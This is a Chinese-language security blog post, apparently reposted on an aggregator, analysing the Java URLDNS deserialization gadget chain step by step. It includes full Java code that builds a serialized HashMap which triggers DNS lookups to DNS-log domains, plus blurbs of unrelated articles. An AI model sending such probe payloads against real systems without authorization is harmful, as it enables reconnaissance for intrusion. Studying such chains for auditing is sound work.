【代码审计】URLDNS链"

admin 2026-10-24 03:58:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【代码审计】URLDNS链

原创

十月的进阶之路
十月的进阶之路

十月的进阶之路

2026年6月20日 13:34
中国香港

在小说阅读器读本章

去阅读

花有重开日,人无再少年

本文介绍URLDNS链,该链常用于检测是否存在反序列化漏洞,并且该链具备一些非常好的特点,包括:

  1. 该链使用java.net.URL、java.util.HashMap等jdk内置的类,没有第三方依赖的要求;
  2. 如果目标不存在回显,则可以通过是否发起来了DNS解析来检测是否存在反序列化漏洞;
  3. 一般而言,该链只用于探测是否存在反序列化漏洞,无法直接RCE;

依旧开始调试,我们知道我们的目的是通过发起DNS解析请求来分析是否存在漏洞,那么这个链最终肯定是需要进入URL相关类的相关方法中进行处理。我们从URLStreamHandler#getHostAddress这个方法开始分析,getHostAddress内部调用了InetAddress.getByName(),这才是真正发出DNS请求的系统调用,getHostAddress是距离DNS触发最近的Java层方法,因此以getHostAddress方法作为分析的起点。

继续分析getHostAddress方法的上层引用。

进入URLStreamHandler#hashCode方法。

继续分析hashCode方法的上层引用。

进入URL#hashCode方法,因此通过这段链发现,只需要声明一个URL实例,并调用该实例的hashCode方法即可触发DNS解析请求,因此编写如下测试代码。

package org.example;

import java.net.MalformedURLException;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws MalformedURLException {

        URL url = new URL(\"http://838ba6ba51.ddns.1433.eu.org.\");
        System.out.println(url.hashCode());
    }
}

断点调试证明这个过程。

步过发起DNS解析请求。

到此为止我们知道URL实例的hashCode方法会发起DNS解析请求,我们继续查找对应的引用,分析在哪里有可能调用这个hashCode方法,进而触发URLDNS链。

通过检索hashCode方法的相关引用进入到HashMap#hash方法,发现在该方法中调用了hashCode方法,因此可以继续修改测试代码。

package org.example;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws MalformedURLException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        URL url = new URL(\"http://838ba6ba51.ddns.1433.eu.org.\");

        Method hash = HashMap.class.getDeclaredMethod(\"hash\", Object.class);
        hash.setAccessible(true);
        hash.invoke(null,url);

    }
}

测试发现触发了DNS解析请求。

继续检索HashMap#hash方法的上层引用,进入HashMap#readObject方法,这就是我们要找的终点。

也就是只需要将HashMap的实例中添加URL实例作为key即可触发URLDNS链条,编写如下测试代码。

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.concurrent.ExecutionException;

public class Main {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {

        URL url = new URL(\"http://d40eaafdd1.ddns.1433.eu.org.\");

        HashMap<URL,String> map = new HashMap<>();
        map.put(url,\"test\");

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();

    }
}

然后通过调试分析,你发现上述代码在map.put(url,\"test\")直接触发了DNS解析。

而反序列化的过程由于hashCode不等于-1被直接跳过。URL.hashCode()有一个缓存机制,当hashCode!=-1时直接返回缓存值,不再调用handler.hashCode(this),因此不会触发DNS。map.put()时会调用一次hash(key),此时若hashCode==-1就会提前触发DNS并将计算结果缓存下来(值不再是-1),导致反序列化时因缓存命中而跳过DNS触发。

因此我们需要通过反射将hashCode设置为非-1避免在map.put时触发解析,同时在序列化之前重新设置hashCode为-1使得目标在反序列化时触发DNS的解析,修改代码如下。

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.concurrent.ExecutionException;

public class Main {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {

        URL url = new URL(\"http://4f0ccacc93.ddns.1433.eu.org.\");
        Field hashCodeField = url.getClass().getDeclaredField(\"hashCode\");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1);

        HashMap<URL,String> map = new HashMap<>();
        map.put(url,\"test\");

hashCodeField.set(url, -1);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();

    }
}

断点在ois.readObject()处。

未发现发起DNS解析请求。

继续放掉。

hashCode此时为-1,进入后续逻辑以及DNS解析。


【代码审计】URLDNS链" 网络安全文章

【代码审计】URLDNS链"

本文详细解析了Java反序列化漏洞检测中常用的URLDNS链机制,该链利用JDK内置的java.net.URL和java.util.HashMap类实现无第三方依赖的漏洞探测。关键发现包括:通过URL的hashCode方法触发DNS解析请求,结合HashMap的readObject方法构成完整攻击链;同时指出需通过反射修改hashCode缓存值(初始设为非-1避免put时触发,序列化前重置为-1)确保反序列化时成功触发DNS。文档提供了完整的代码实现和调试过程,具备直接可操作性。
腾讯开源WeKnora知识库部署实战(含踩坑排查)" 网络安全文章

腾讯开源WeKnora知识库部署实战(含踩坑排查)"

本文记录腾讯开源知识库平台WeKnora的实际部署与排障过程,重点分析17篇文档解析成功却无法检索的根本原因——知识库未配置embedding模型导致向量化失败。文章详细阐述WeKnora的复合检索、多租户设计和安全特性,并提供企业级知识库建设场景与选型建议,最后强调排查时需关注chunk\\_count字段而非仅依赖解析状态。
美军印太地区后勤保障核心服务商" 网络安全文章

美军印太地区后勤保障核心服务商"

该文档深入分析了唐尼·琼斯船舶有限公司作为美军印太战区关键后勤服务商的战略角色,揭示其通过澳大利亚运营与香港离岸结算的双轨架构,持续中标全球船舶保障和远征合同,已从常规物资供应商升级为具备战区开启能力的第四方防务物流商。报告指出其在美军分布式海上作战中的底层支撑价值,并建议对这类商业后勤网络进行持续开源情报监测以评估地缘风险。
乌克兰推出俄军武器数字共享平台:TrophyLab" 网络安全文章

乌克兰推出俄军武器数字共享平台:TrophyLab"

乌克兰国防部推出TrophyLab俄军武器数字共享平台,将战场缴获装备转化为技术数据库。平台收录115个样本、79个技术分类及225份逆向研究报告,涵盖高超音速导弹、无人机等核心资产。通过严格审核向盟友提供武器蓝图、零部件清单及线下样本调拨,实现从情报捕获到反制研发的闭环,提升西方防务系统的反制效率。
评论:0   参与:  0